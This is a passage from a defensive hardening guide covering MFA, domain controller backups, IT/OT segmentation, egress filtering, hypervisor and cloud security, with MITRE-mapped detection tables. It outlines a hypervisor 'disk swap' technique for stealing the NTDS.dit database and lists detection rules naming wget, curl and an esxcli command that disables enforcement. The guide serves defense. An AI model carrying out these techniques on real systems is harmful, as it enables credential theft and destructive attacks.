Table 2: Overview of cloud provider attack surface discovery capabilities

Enforce Multi-Factor Authentication

External-facing assets that leverage single-factor authentication (SFA) are highly susceptible to brute-forcing attacks, password spraying, or unauthorized remote access using valid (stolen) credentials. External-facing applications and services that currently allow for SFA should be configured to support multi-factor authentication (MFA). Additionally, MFA should be leveraged for accessing not only on-premises external-facing managed infrastructure, but also for cloud-based resources (e.g., software-as-a-service [SaaS] such as Microsoft 365 [M365]). 

When configuring multifactor authentication, the following methods are commonly considered (and ranked from most to least secure):

  • Fast IDentity Online 2 (FIDO2)/WebAuthn security keys or passkeys

  • Software/hardware Open Authentication (OAUTH) token

  • Authenticator application (e.g., Duo/Microsoft [MS] Authenticator/Okta Verify)

  • Time-based One Time Password (TOTP)

  • Push notification (least preferred option) using number matching when possible

  • Phone call

  • Short Message Service (SMS) verification

  • Email-based verification

Risks of Specific MFA Methods

Push Notifications

If an organization is leveraging push notifications for MFA (e.g., a notification that requires acceptance via an application or automated call to a mobile device), threat actors can exploit this type of MFA configuration for attempted access, as a user may inadvertently accept a push notification on their device without the context of where the authentication was initiated. 

Phone/SMS Verification

If an organization is leveraging phone calls or SMS-based verification for MFA, these methods are not encrypted and are susceptible to potentially being intercepted by a threat actor. These methods are also vulnerable if a threat actor is able to transfer an employee's phone number to an attacker-controlled subscriber identification module (SIM) card. This would result in the MFA notifications being routed to the threat actor instead of the intended employee. 

Email-Based Verification

If an organization is leveraging email-based verification for validating access or for retrieving MFA codes, and a threat actor has already established the ability to access the email of their target, the actor could potentially also retrieve the email(s) to validate and complete the MFA process. 

If any of these MFA methods are leveraged, consider:

  • Training remote users to never accept or respond to a logon notification when they are not actively attempting to log in.

  • Establishing a method for users to report suspicious MFA notifications, as this could be indicative of a compromised account.

  • Ensuring there are messaging policies in place to prevent the auto-forwarding of email messages outside the organization.

Time-Based One-Time Password

Time-based one-time password (TOTP) relies on a shared secret, called a seed, known by both the authenticating system and the authenticator possessed by an end user. If a seed is compromised, the TOTP authenticator can be duplicated and used by a threat actor.

Detection Opportunities for External-Facing Assets and MFA Attempts

Use Case

MITRE ID

Description

Brute Force

T1110 – Brute Force

Search for a single user with an excessive number of failed logins from external Internet Protocol (IP) addresses. 

This risk can be mitigated by enforcing a strong password, MFA, and lockout policy.

Password Spray

T1110.003 – Password Spray

Search for a high number of accounts with failed logins, typically from the similar origination addresses.

Multiple Failed MFA Same User

T1110 – Brute Force

T1078 – Valid Accounts

Search for multiple failed MFA conditions for the same account. This may be indicative of a previously compromised credential.

Multiple Failed MFA Same Source

T1110.003 – Password Spray

T1078 – Valid Accounts

Search for multiple failed MFA prompts for different users from the same source. This may be indicative of multiple compromised credentials and an attempt to "spray" MFA prompts/tokens for access.

External Authentication from an Account with Elevated Privileges

T1078 – Valid Accounts

Privileged accounts should use internally managed and secured privileged access workstations for access and should not be accessible directly from an external (untrusted) source.

Adversary in the Middle (AiTM) Session Token Theft

T1557 - Adversary in the Middle

Monitor for sign-ins where the authentication method succeeds but the session originates from an IP/ASN inconsistent with the user's prior sessions. 

Detect logins from newly registered domains or known reverse-proxy infrastructure (EvilProxy, Tycoon 2FA). 

Correlate sign-in logs for "isInteractive: true" sessions with anomalous user-agent strings or geographically impossible travel.

MFA Fatigue / Prompt Bombing

T1621 - MFA Request Generation

Search for accounts receiving more than five MFA push notifications within a 10-minute window without a corresponding successful authentication. 

Post-Authentication MFA Device Registration

T1098.005 - Account Manipulation - Device Registration

Monitor audit logs for new MFA device registrations (AuthenticationMethodRegistered) occurring within 60 minutes of a sign-in from a new IP or device. Attackers who steal session tokens via AiTM immediately register their own MFA device for persistent access.

OAuth/Consent Phishing

T1550.001 - Use Alternate Authentication Material

Monitor for OAuth application consent grants with high-privilege scopes (Mail.Read, Files.ReadWrite.All) from unrecognized application IDs.

Table 3: Detection opportunities for external-facing assets and MFA attempts

2. Critical Asset Protections

Domain Controller and Critical Asset Backups

Organizations should verify that backups for domain controllers and critical assets are available and protected against unauthorized access or modification. Backup processes and procedures should be exercised on a continual basis. Backups should be protected and stored within secured enclaves that include both network and identity segmentation. 

If an organization's Active Directory (AD) were to become corrupted or unavailable due to ransomware or a potentially destructive attack, restoring Active Directory from domain controller backups may be the only viable option to reconstitute domain services. The following domain controller recovery and reconstitution best practices should be proactively reviewed by organizations: 

  • Verify that there is a known good backup of domain controllers and SYSVOL shares (e.g., from a domain controller – backup C:\Windows\SYSVOL).

    • For domain controllers, a system state backup is preferred. 

      Note: For a system state backup to occur, Windows Server Backup must be installed as a feature on a domain controller.

    • The following command can be run from an elevated command prompt to initiate a system state backup of a domain controller.

wbadmin start systemstatebackup -backuptarget:<targetDrive>:

Figure 1: Command to perform a system state backup

    • The following command can be run from an elevated command prompt to perform a SYSVOL backup. (Manage auditing and security log permissions must also be configured for the account performing the backup.)
robocopy c:\windows\sysvol c:\sysvol-backup /copyall /mir /b /r:0 /xd

Figure 2: Command to perform a SYSVOL backup

  • Proactively identify domain controllers that hold flexible single master operation (FSMO) roles, as these domain controllers will need to be prioritized for recovery in the event that a full domain restoration is required. 

netdom query fsmo

Figure 3: Command to identify domain controllers that hold FSMO roles

  • Offline backups: Ensure offline domain controller backups are secured and stored separately from online backups. 

  • Encryption: Backup data should be encrypted both during transit (over the wire) and when at rest or mirrored for offsite storage. 

  • DSRM Password validation: Ensure that the Directory Services Restore Mode (DSRM) password is set to a known value for each domain controller. This password is required when performing an authoritative or nonauthoritative domain controller restoration. 

  • Configure alerting for backup operations: Backup products and technologies should be configured to detect and provide alerting for operations critical to the availability and integrity of backup data (e.g., deletion of backup data, purging of backup metadata, restoration events, media errors). 

  • Enforce role-based access control (RBAC): Access to backup media and the applications that govern and manage data backups should use RBAC to restrict the scope of accounts that have access to the stored data and configuration parameters. 

  • Testing and verification: Both authoritative and nonauthoritative domain controller restoration processes should be documented and tested on a regular basis. The same testing and verification processes should be enforced for critical assets and data.

Business Continuity Planning

Critical asset recovery is dependent upon in-depth planning and preparation, which is often included within an organization's business continuity plan (BCP). Planning and recovery preparation should include the following core competencies:

  • A well-defined understanding of crown jewels data and supporting applications that align to backup, failover, and restoration tasks that prioritize mission-critical business operations

  • Clearly defined asset prioritization and recovery sequencing

  • Thoroughly documented recovery processes for critical systems and data

  • Trained personnel to support recovery efforts

  • Validation of recovery processes to ensure successful execution

  • Clear delineation of responsibility for managing and verifying data and application backups

  • Online and offline data backup retention policies, including initiation, frequency, verification, and testing (for both on-premises and cloud-based data)

  • Established service-level agreements (SLAs) with vendors to prioritize application and infrastructure-focused support

Continuity and recovery planning can become stale over time, and processes are often not updated to reflect environment and personnel changes. Prioritizing evaluations, continuous training, and recovery validation exercises will enable an organization to be better prepared in the event of a disaster.

Detection Opportunities for Backups

 

Use Case

MITRE ID

Description

Volume Shadow Deletion

T1490 – Inhibit System Recovery

Search for instances where a threat actor will delete volume shadow copies to inhibit system recovery. This can be accomplished using the command line, PowerShell, and other utilities.

Unauthorized Access Attempt

T1078 – Valid Accounts

Search for unauthorized users attempting to access the media and applications that are used to manage data backups.

Suspicious Usage of the DSRM Password

T1078 – Valid Accounts

Monitor security event logs on domain controllers for:

  • Event ID 4794 - An attempt was made to set the Directory Services Restore Mode administrator password

Monitoring the following registry key on domain controllers:

HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior

Figure 4: DSRM registry key for monitoring

The possible values for the registry key noted in Figure 4 are:

  • 0 (default): The DSRM Administrator account can only be used if the domain controller is restarted in Directory Services Restore Mode.

  • 1: The DSRM Administrator account can be used for a console-based log on if the local Active Directory Domain Services service is stopped.

  • 2: The DSRM Administrator account can be used for console or network access without needing to reboot a domain controller.

Table 4: Detection opportunities for backups

IT and OT Segmentation

Organizations should ensure that there is both physical and logical segmentation between corporate information technology (IT) domains, identities, networks, and assets and those used in direct support of operational technology (OT) processes and control. By enforcing IT and OT segmentation, organizations can inhibit a threat actor's ability to pivot from corporate environments to mission-critical OT assets using compromised accounts and existing network access paths. 

OT environments should leverage separate identity stores (e.g., dedicated Active Directory domains), which are not trusted or cross-used in support of corporate identity and authentication. The compromise of a corporate identity or asset should not result in a threat actor's ability to directly pivot to accessing an asset that has the ability to influence an OT process.

In addition to separate AD forests being leveraged for IT and OT, segmentation should also include technologies that may have a dual use in the IT and OT environments (backup servers, antivirus [AV], endpoint detection and response [EDR], jump servers, storage, virtual network infrastructure). OT segmentation should be designed such that if there is a disruption in the corporate (IT) environment, the OT process can safely function independently, without a direct dependency (account, asset, network pathway) with the corporate infrastructure. For any dependencies that cannot be readily segmented, organizations should identify potential short-term processes or manual controls to ensure that the OT environment can be effectively isolated if evidence of an IT (corporate)-focused incident were detected. 

Segmenting IT and OT environments is a best practice recommended by industry standards such as the National Institute of Standards and Technology (NIST) SP 800-82r3: Guide to Operational Technology (OT) Security and IEC 62443 (formerly ISA99).

According to these best-practice standards, segmenting IT and OT networks should include the following:

  • OT attack surface reduction by restricting the scope of ports, services, and protocols that are directly accessible within the OT network from the corporate (IT) network.

  • Incoming access from corporate (IT) into OT must terminate within a segmented OT demilitarized zone (DMZ). The OT DMZ must require that a separate level of authentication and access be granted (outside of leveraging an account or endpoint that resides within the corporate IT domain). 

  • Explicit firewall rules should restrict both incoming traffic from the corporate environment and outgoing traffic from the OT environment.

  • Firewalls should be configured using the principle of deny by default, with only approved and authorized traffic flows permitted. Egress (internet) traffic flows for all assets that support OT should also follow the deny-by-default model.

  • Identity (account) segmentation must be enforced between corporate IT and OT. An account or endpoint within either environment should not have any permissions or access rights assigned outside of the respective environment. 

  • Remote access to the OT environment should not leverage similar accounts that have remote access permissions assigned within the corporate IT environment. MFA using separate credentials should be enforced for remotely accessing OT assets and resources.

  • Training and verification of manual control processes, including isolation and reliability verification for safety systems.

  • Secured enclaves for storing backups, programming logic, and logistical diagrams for systems and devices that comprise the OT infrastructure.

  • The default usernames and passwords associated with OT devices should always be changed from the default vendor configuration(s). 

Detection Opportunities for IT and OT Segmented Environments

Use Case

MITRE ID

Description

Network Service Scanning

T1046 – Network Service Scanning

Search for instances where a threat actor is performing internal network discovery to identify open ports and services between segmented environments.

Unauthorized Authentication Attempts Between Segmented Environments

T1078 – Valid Accounts

Search for failed logins for accounts limited to one environment attempting to log in within another environment. This can detect threat actors attempting to reuse credentials for lateral movement between networks.

Table 5: Detection opportunities for IT and OT segmented environments

Egress Restrictions

Servers and assets that are infrequently rebooted are highly targeted by threat actors for establishing backdoors to create persistent beacons to command-and-control (C2) infrastructure. By blocking or severely limiting internet access for these types of assets, an organization can effectively reduce the risk of a threat actor compromising servers, extracting data, or installing backdoors that leverage egress communications for maintaining access.

Egress restrictions should be enforced so that servers, internal network devices, critical IT assets, OT assets, and field devices cannot attempt to communicate to external sites and addresses (internet resources). The concept of deny by default should apply to all servers, network devices, and critical assets (including both IT and OT), with only allow-listed and authorized egress traffic flows explicitly defined and enforced. Where possible, this should include blocking recursive Domain Name System (DNS) resolutions not included in an allow-list to prevent communication via DNS tunneling.

If possible, egress traffic should be routed through an inspection layer (such as a proxy) to monitor external connections and block any connections to malicious domains or IP addresses. Connections to uncategorized network locations (e.g., a domain that has been recently registered) should not be permitted. Ideally, DNS requests would be routed through an external service (e.g., Cisco Umbrella, Infoblox DDI) to monitor for lookups to malicious domains. 

Threat actors often attempt to harvest credentials (including New Technology Local Area Network [LAN] Manager [NTLM] hashes) based upon outbound Server Message Block (SMB) or Web-based Distributed Authoring and Versioning (WebDAV) communications. Organizations should review and limit the scope of egress protocols that are permissible from any endpoint within the environment. While Hypertext Transfer Protocol (HTTP) (Transmission Control Protocol (TCP)/80) and HTTP Secure (HTTPS) (TCP/443) egress communications are likely required for many user-based endpoints, the scope of external sites and addresses can potentially be limited based upon web traffic-filtering technologies. Ideally, organizations should only permit egress protocols and communications based upon a predefined allow-list. Common high-risk ports for egress restrictions include:

  • File Transfer Protocol (FTP)

  • Remote Desktop Protocol (RDP)

  • Secure Shell (SSH)

  • Server Message Block (SMB)

  • Trivial File Transfer Protocol (TFTP) 

  • WebDAV

Detection Opportunities for Suspicious Egress Traffic Flows

Use Case

MITRE ID

Description

External Connection Attempt to a Known Malicious IP

TA0011 – Command and Control

Leverage threat feeds to identify attempted connections to known bad IP addresses.

External Communications from Servers, Critical Assets, and Isolated Network Segments

TA0011 – Command and Control

Search for egress traffic flows from subnets and addresses that correlate to servers, critical assets, OT segments, and field devices.

Outbound Connections Attempted Over SMB

T1212 – Exploitation for Credential Access

Search for external connection attempts over SMB, as this may be an attempt to harvest credential hashes.

Table 6: Detection opportunities for suspicious egress traffic flows

Virtualization Infrastructure Protections 

Threat actors often target virtualization infrastructure (e.g., VMware vSphere, Microsoft Hyper-V) as part of their reconnaissance, lateral movement, data theft, and potential ransomware deployment objectives. Securing virtualization infrastructure requires a Zero Trust network posture as a primary defense. Because management appliances often lack native MFA for local privileged accounts, identity-based security alone can be a high-risk single point of failure. If credentials are compromised, the logical network architecture becomes the final line of defense protecting the virtualization management plane.

To reduce the attack surface of virtualized infrastructure, a best practice for VMware vSphere vCenter ESXi and Hyper-V appliances and servers is to isolate and restrict access to the management interfaces, essentially enclaving these interfaces within isolated virtual local area networks (VLANs) (network segments) where connectivity is only permissible from dedicated subnets where administrative actions can be initiated.

To protect the virtualization control plane, organizations must consider a "defense-in-depth" network model. This architecture integrates physical isolation and east-west micro-segmentation to remove all access paths from untrusted networks. The result is a management zone that remains isolated and resilient, even during an active intrusion.

VMware vSphere Zero-Trust Network Architecture 

The primary goal is to ensure that even if privileged credentials are compromised, the logical network remains the definitive defensive layer preventing access to virtualization management interfaces.

  • Immutable VLAN Segmentation: Enforce strict isolation using distinct 802.1Q VLAN IDs for host management, Infrastructure/VCSA, vMotion (non-routable), Storage (non-routable), and production Guest VMs.

  • Virtual Routing and Forwarding (VRF): Transition all infrastructure VLANs into a dedicated VRF instance. This ensures that even a total compromise of the "User" or "Guest" zones results in no available route to the management zone(s).

Layer 3 and 4 Access Policies

The management network must be accessible only from trusted, hardened sources.

  • PAW-Exclusive Access: Deconstruct all direct routes from the general corporate LAN to management subnets. Access must originate strictly from a designated Privileged Access Workstation (PAW) subnet.

  • Ingress Filtering (Management Zone):

    • ALLOW: TCP/443 (UI/API) and TCP/902 (MKS) from the PAW subnet only.

    • DENY: Explicitly block SSH (TCP/22) and VAMI (TCP/5480) from all sources except the PAW subnet.

  • Restrictive Egress Policy: Enforce outbound filtering at the hardware gateway (as the VCSA GUI cannot manage egress). To prevent persistence using C2 traffic and data exfiltration, block all internet access except to specific, verified update servers (e.g., VMware Update Manager) and authorized identity providers.

Host-Based Firewall Enforcement

Complement network firewalls with host-level filtering to eliminate visibility gaps within the same VLAN.

  • VCSA (Photon OS): Transition the default policy to "Default Deny" via the VAMI or, preferably, at the OS level using iptables/nftables for granular source/destination mapping. 

  • ESXi Hypervisors: Restrict all services (SSH, Web Access, NFC/Storage) to specific management IPs by deselecting "Allow connections from any IP address."

Additional information related to VMware vSphere VCSA host based firewalls.

A listing of administrative ports associated with VMWare vCenter (that should be targeted for isolation).

Hyper-V Zero-Trust Network Architecture 

Similar to vSphere, Hyper-V requires strict isolation of its various traffic types to prevent lateral movement from guest workloads to the management plane.

  • VLAN Segmentation: Organizations must enforce isolation using distinct VLANs for Host Management, Live Migration, Cluster Heartbeat (CSV), and Production Guest VMs.

  • Non-Routable Networks: Traffic for Live Migration and Cluster Shared Volumes (CSV) should be placed on non-routable VLANs to ensure these high-bandwidth, sensitive streams cannot be intercepted from other segments.

Layer 3 and 4 Access Policies

The management network must be accessible only from trusted, hardened sources.

  • PAW-Exclusive Access: Deconstruct all direct routes from the general corporate LAN to management subnets. Access must originate strictly from a designated Privileged Access Workstation (PAW) subnet.

  • Ingress Filtering (Management Zone):

    • ALLOW: WinRM / PowerShell Remoting (TCP/5985 and TCP/5986), RDP (TCP/3389), and WMI/RPC (TCP/135 and dynamic RPC ports)strictly from the PAW subnet. If using Windows Admin Center, allow HTTPS (TCP/443) to the gateway.

    • DENY: Explicitly block SMB (TCP/445), RPC/WMI (TCP/135), and all other management traffic from untrusted sources to prevent credential theft and lateral movement.

  • Restrictive Egress Policy: Enforce outbound filtering at the network gateway. To prevent persistence using C2 traffic and data exfiltration, block all internet access from Hyper-V hosts except to specific, verified update servers (e.g., internal WSUS), authorized Active Directory Domain Controllers, and Key Management Servers (KMS).

Host-Based Firewall Enforcement

Use the Windows Firewall with Advanced Security (WFAS) to achieve a defense-in-depth posture at the host level.

  • Scope Restriction: For all enabled management rules (e.g., File and Printer Sharing, WMI, PowerShell Remoting), modify the Remote IP Address scope to "These IP addresses" and enter only the PAW and management server subnets.

  • Management Logging: Enable logging for Dropped Packets in the Windows Firewall profile. This allows the SIEM to ingest "denied" connection attempts, which serve as high-fidelity indicators of internal reconnaissance or unauthorized access attempts.

Additional information related to Hyper-V host based firewalls.

Additional information related to securing Hyper-V. 

General Virtualization Hardening 

To protect management interfaces for VMware vSphere the VMKernel network interface card (NIC) should not be bound to the same virtual network assigned to virtual machines running on the host. Additionally, ESXi servers can be configured in lockdown mode, which will only allow console access from the vCenter server(s). Additional information related to lockdown mode.

The SSH protocol (TCP/22) provides a common channel for accessing a physical virtualization server or appliance (vCenter) for administration and troubleshooting. Threat actors commonly leverage SSH for direct access to virtualization infrastructure to conduct destructive attacks. In addition to enclaving access to administrative interfaces, SSH access to virtualization infrastructure should be disabled and only enabled for specific use-cases. If SSH is required, network ACLs should be used to limit where connections can originate.

Identity segmentation should also be configured when accessing administrative interfaces associated with virtualization infrastructure. If Active Directory authentication provides direct integrated access to the physical virtualization stack, a threat actor that has compromised a valid Active Directory account (with permissions to manage the virtualization infrastructure) could potentially use the account to directly access virtualized systems to steal data or perform destructive actions.

Authentication to virtualized infrastructure should rely upon dedicated and unique accounts that are configured with strong passwords and that are not co-used for additional access within an environment. Additionally, accessing management interfaces associated with virtualization infrastructure should only be initiated from isolated privileged access workstations, which prevent the storing and caching of passwords used for accessing critical infrastructure components.

Protecting Hypervisors Against Offline Credential Theft and Exfiltration

Organizations should implement a proactive, defense-in-depth technical hardening strategy to systematically address security gaps and mitigate the risk of offline credential theft from the hypervisor layer. The core of this attack is an offline credential theft technique known as a "Disk Swap." Once an adversary has administrative control over the hypervisor (vSphere or Hyper-V), they perform the following steps:

  • Target Identification: The actor identifies a critical virtualized asset, such as a Domain Controller (DC) 

  • Offline Manipulation: The target VM is powered off, and its virtual disk file (e.g., .vmdk for VMware or .vhd/.vhdx for Hyper-V) is detached.

  • NTDS.dit Extraction: The disk is attached to a staging or "orphaned" VM under the attacker's control. From this unmonitored machine, they copy the NTDS.dit Active Directory database.

  • Stealthy Recovery: The disk is re-attached to the original DC, and the VM is powered back on, leaving minimal forensic evidence within the guest operating system.

Hardening and Mitigation Guidance

To defend against this logic, organizations must implement a defense-in-depth strategy that focuses on cryptographic isolation and strict lifecycle management.

  • Virtual Machine Encryption: Organizations must encrypt all Tier 0 virtualized assets (e.g., Domain Controllers, PKI, and Backup Servers). Encryption ensures that even if a virtual disk file is stolen or detached, it remains unreadable without access to the specific keys. 

  • Strict Decommissioning Processes: Do not leave powered-off or "orphaned" virtual machines on datastores. These "ghost" VMs are ideal staging environments for attackers. Formally decommission assets by deleting their virtual disks rather than just removing them from the inventory.

  • Harden Hypervisor Accounts: Disable or restrict default administrative accounts (such as root on ESXi or the local Administrator on Hyper-V hosts). Enforce Lockdown Mode (VMware ESXi feature) where possible to prevent direct host-level changes outside of the central management plane.

  • Remote Audit Logging: Enable and forward all hypervisor-level audit logs (e.g., hostd.log, vpxa.log, or Windows Event Logs for Hyper-V) to a centralized SIEM. 

Protecting Backups

Security measures must encompass both production and backup environments. An attack on the production plane is often coupled with a simultaneous focus on backup integrity, creating a total loss of operational continuity. Virtual disk files (VMDK for VMware and VHD/VHDX for Hyper-V) represent a high-value target for offline data theft and direct manipulation.

Hardening and Mitigation Guidance

To mitigate the risk of offline theft and backup manipulation, organizations must implement a "Default Encrypted" policy across the entire lifecycle of the virtual disk .

  • At-Rest Encryption for all Tier-0 Assets: Implement vSphere VM Encryption or Hyper-V Shielded VMs for all critical infrastructure (e.g., Domain Controllers, Certificate Authorities). This ensures that the raw VMDK or VHDX files are cryptographically protected, rendering them unreadable if detached or mounted by an unauthorized party.

  • Encrypted Backup Repositories: Ensure that the backup application is configured to encrypt backup data at rest using a unique key stored in a separate, hardened Key Management System (KMS). This prevents "direct manipulation" of the backup files even if the backup storage itself is compromised. 

  • Network Isolation of Storage & Backups: Isolate the storage management network and the backup infrastructure into dedicated, non-routable VLANs. Access to the backup console and repositories must require phishing-resistant MFA and originate from a designated Privileged Access Workstation (PAW).

  • Immutability and Air-Gapping: Use Immutable Backup Repositories to ensure that once a backup is written, it cannot be modified or deleted by any user including a compromised administrator for a set period. This provides a definitive recovery point in the event of a ransomware attack or intentional data sabotage.

Detection Opportunities for Monitoring Virtualization Infrastructure

Use Case

MITRE ID

Description

Unauthorized Access Attempt to Virtualized Infrastructure

T1078 – Valid Accounts

Search for attempted logins to virtualized infrastructure by unauthorized accounts.

Unauthorized SSH Connection Attempt

T1021.004 – Remote Services: SSH

Search for instances where an SSH connection is attempted when SSH has not been enabled for an approved purpose or is not expected from a specific origination asset.

ESXi Shell/SSH Enablement

T1059.004 - Command and Scripting Interpreter

Monitor ESXi hostd.log and shell.log for the SSH service being enabled via DCUI, vSphere client, or API calls. Alert on any ESXi SSH enablement event that was not preceded by an approved change request.

Bulk VM Power-Off Events

T1529 - System Shutdown/Reboot

Detect sequences where multiple VMs are powered off within a short time window (e.g., >5 VMs in 10 minutes) via vCenter events. 

Correlate with vpxd.log "ReceivedPowerOffVM" events.

VMDK File Access from Non-Standard Processes

T1486 - Data Encrypted for Impact

Monitor for processes accessing .vmdk, .vmx, .vmsd, or .vmsn files outside of normal VMware service processes (hostd, vpxd, fdm). 

execInstalledOnly Disablement

T1562.001 - Impair Defenses: Disable or Modify Tools

Monitor ESXi shell.log for execution of "esxcli system settings encryption set" with "--require-exec-installed-only=F" or "--require-secure-boot=F". Alert on any cryptographic enforcement disablement event that was not preceded by an approved change request.

vCenter SSO Identity Modification

T1556 - Modify Authentication Process

Monitor vCenter events and vpxd.log for modifications to SSO identity sources, including the addition of new LDAP providers or changes to vshphere.local administrator group membership. Alert on an identity source change not initiated from a designated PAW subnet.

VM Disk Detach and Reattach to Non-Inventory VM

T1486 - Data Encrypted for Impact

Detect sequences where a virtual disk is removed from a Tier-0 asset via "vim.event.VmReconfiguredEvent" and subsequently attached to an orphaned or non-standard inventory VM. 

Correlate with "vim.event.VmRegisteredEvent" events on non-standard datastore paths within the same time window.

VCSA Shell Command Anomaly

T1059.004 - Command and Scripting Interpreter: Unix Shell

Monitor VCSA shell audit logs for execution of high-risk commands (e.g., wget, curl, psql, certificate-manager) by any user following an interactive SSH session. Alert on any instance where these commands are executed outside of an approved change window.

Bulk Snapshot Deletion

T1490 - Inhibit System Recovery

Detects sequences where snapshots are removed across multiple VMs within a short time window via vCenter events. Correlate with "vim-cmd vmsvc/snapshot.removeall" execution in hostd.log to confirm host-level action.

Table 7: Detection opportunities for VMware vSphere

Protecting Against DDoS Attacks

A distributed denial-of-service (DDoS) attack is an example of a disruptive attack that could impact the availability of cloud-based resources and services. Modernized DDoS protection must extend beyond the legacy concepts of filtering and rate-limiting, and include cloud-native capabilities that can scale to combat adversarial capabilities.

In addition to third-party DDoS and web application access protection services, the following table provides an overview of DDoS protection capabilities within common cloud-based infrastructures.

Cloud Provider

DDoS Protection Capability 

Google Cloud

Google Cloud Armor

Amazon Web Services

AWS Shield

Microsoft Azure

Azure DDoS Protection

Cloud Platform Agnostic 

Imperva WAF

Akamai WAF

Cloudflare DDoS Protection

Table 8: Common cloud capabilities to mitigate DDoS attacks

Hardening the Cloud Perimeter 

With the hybrid operating model of modern day infrastructure, cloud consoles and SaaS platforms are high-value targets for credential harvesting and data exfiltration. Minimizing these risks requires a dual-defense strategy: robust identity controls to prevent unauthorized access, and platform-specific guardrails to protect access to resources, data, and to minimize the attack surface. 

Strong Authentication Enforcement

Strong authentication is the foundational requirement for cloud resilience and securing cloud infrastructure. Similar to on-premises environments, a compromise of a privileged credential, token, or session could lead to unintended consequences that result in a high-impact event for an organization. To mitigate these pervasive risks, organizations must unconditionally enforce strong authentication for all external-facing cloud services, administrative portals, and SaaS platforms. 

Organizations should enforce the usage of phishing-resistant authenticators such as FIDO2 (WebAuthn) hardware tokens or passkeys, or certificate based authentication for accounts assigned privileged roles and functions. For non-privileged users, authenticator software (Microsoft Authenticator or Okta Verify) should be configured to utilize device-bound factors such as Windows Hello for Business or TouchID.

Additionally, organizations should leverage the concept of authenticators (identity + device attestation) as part of the authentication transaction. This includes enforcing a validated-device access policy that restricts privileged access to only originate from managed, compliant, and healthy devices. Trusted network zones should be defined in order to restrict access to cloud resources from the open internet. Untrusted network zones should be defined to restrict authentication from anonymizing services such as VPNs or TOR. Using device-bound session credentials where possible mitigates the risk of session token theft.

Identity and Device Segmentation for Privileged Actions

The implementation of privileged access workstations (PAWs) is a critical defense against threat actors attempting to compromise administrative sessions. A PAW is a highly hardened, dedicated hardware endpoint used exclusively for sensitive administrative tasks.

Administrators should leverage a non-privileged account for daily tasks, while privileged actions are restricted to only being permissible from the hardened PAW, or from explicitly defined IP ranges. This "air-gap" between communication and administration prevents an adversary from moving laterally from a compromised non-privileged identity to a privileged context within hybrid environments. 

Just-in-Time Access and the Principle of Least Privilege

Static, standing privileges present a security risk in hybrid environments. Following a zero-trust cloud architecture, administrative privileges should be entirely ephemeral. Implementing Just-In-Time (JIT) and Just-Enough-Access (JEA) mechanisms ensures that administrators are granted only the specific, granular permissions necessary to perform a discrete task, and only for a highly limited duration, after which the permissions are automatically revoked. This architectural model provides organizations with the ability to enforce approvals for privileged actions, enhanced monitoring, and detailed visibility regarding any privileged actions taken within a specific session.

Securing Non-Human Identities

Organizations should implement identity governance practices that include processes to rotate API keys, certificates, service account secrets, tokens, and sessions on a predefined basis. AI agents or identities correlating to autonomous outcomes should be configured with strictly scoped permissions and associated monitoring. Non-privileged users should be restricted from authorizing third-party application integrations or creating API keys without organizational approval.

Continuous scanning should be performed to identify and remediate hard-coded secrets and sensitive credentials across all cloud and SaaS environments.

Storage Infrastructure Security and Immutable Backups

The strategic objective of a destructive cyberattack—whether for extortion or sabotage—is to prolong recovery and reconstitution efforts by ensuring data is irrecoverable. Modern adversaries systematically target the backup plane as part of a destructive event. If backups remain mutable or share an identity plane with the primary environment, attackers can delete or encrypt them, transforming an incident into a prolonged and chaotic recovery exercise.

While modern-day redundancy for backups should include multiple data copies across diverse media, geographic separation can be a subverted defensive strategy if logical access is unified. To ensure resilience against destructive attacks, the secondary recovery environment should reside within a sovereign cloud tenant or isolated subscription. This environment should be governed by an independent Identity and Access Management (IAM) plane, using distinct credentials and administrative personas that share no commonality with the production environment.

Backups within an isolated environment must be anchored by immutable storage architectures. By leveraging hardware-verified Write-Once, Read-Many (WORM) technology, the recovery plane ensures that data integrity is mathematically guaranteed. Once committed, data cannot be modified, encrypted, or deleted—even by accounts with root or global administrative privileges, until the retention period expires. This creates a definitive "fail-safe" that ensures a known-good recovery point remains accessible regardless of potential security risks in the primary environment.

Additional defense-in-depth security architecture controls relevant to common cloud-based infrastructures are included in Table 9.

Table 9: Common cloud capabilities for infrastructure hardening

Detection Opportunities for Protecting Cloud Infrastructure and Resources

Use Case

MITRE ID

Description

Cloud Account Abuse

T1078.004 - Valid Accounts: Cloud Accounts

Monitor cloud audit logs for authentication from unseen source IPs, anomalous ASNs, or impossible travel patterns. 

Alert on IAM policy modifications, new role assignments, and service account key creation by accounts without prior administrative API activity.

Lateral Movement via Cloud Interfaces

T1021.007 - Remote Services: Cloud Services

Detect interactive console sign-ins from IPs that previously only performed programmatic API/CLI access. Alert on cloud CLI execution from non-administrative endpoints. 

Monitor for cross-service lateral movement where a single identity authenticates to multiple cloud services in a compressed timeframe outside its historical access pattern.

Modify Cloud Compute Configurations

T1578.005 - Modify Cloud Compute Configurations

Monitor for unauthorized compute changes including bulk instance creation or deletion deviating from change management baselines. 

Alert on snapshot creation of production volumes by non-backup accounts, disk detach/reattach targeting domain controller or database instances for offline credential theft, and network/firewall modifications exposing internal services to public access.

Cloud Log Enumeration

T1654 - Log Enumeration

Monitor for API calls listing or accessing logging configurations from identities without documented operational need. 

Alert on enumeration of SIEM integration settings, log export destinations, and alert rule definitions.

Mass Deletion & Impact

T1490 - Inhibit System Recovery

Alert when bulk delete API calls exceed baseline thresholds targeting compute instances, storage, databases, or virtual networks. 

Detect deletion or retention reduction of recovery-critical resources including backup vaults, snapshot schedules, and disaster recovery configurations.

Backup Policy Modification or Deletion

T1490 - Inhibit System Recovery

Monitor for unauthorized modifications to backup configurations, including changes to WORM retention policies, backup vault access policies, snapshot deletion, or backup schedule disablement. 

Alert on backup storage account access from identities other than designated backup service accounts.

Conditional Access or Security Policy Modification

T1556.009 - Conditional Access Policies

Monitor cloud identity provider audit logs for modifications to Conditional Access Policies, MFA enforcement rules, legacy authentication blocking rules, or PIM/JIT role settings. Alert on changes that add location or device exclusions to MFA policies, disable legacy protocol blocks, extend privilege role activation durations, or register new authentication methods on privileged accounts.

Table 10: Detection opportunities for protecting cloud infrastructure and resources

3. On-Premises Lateral Movement Protections

Endpoint Hardening

Windows Firewall Configurations

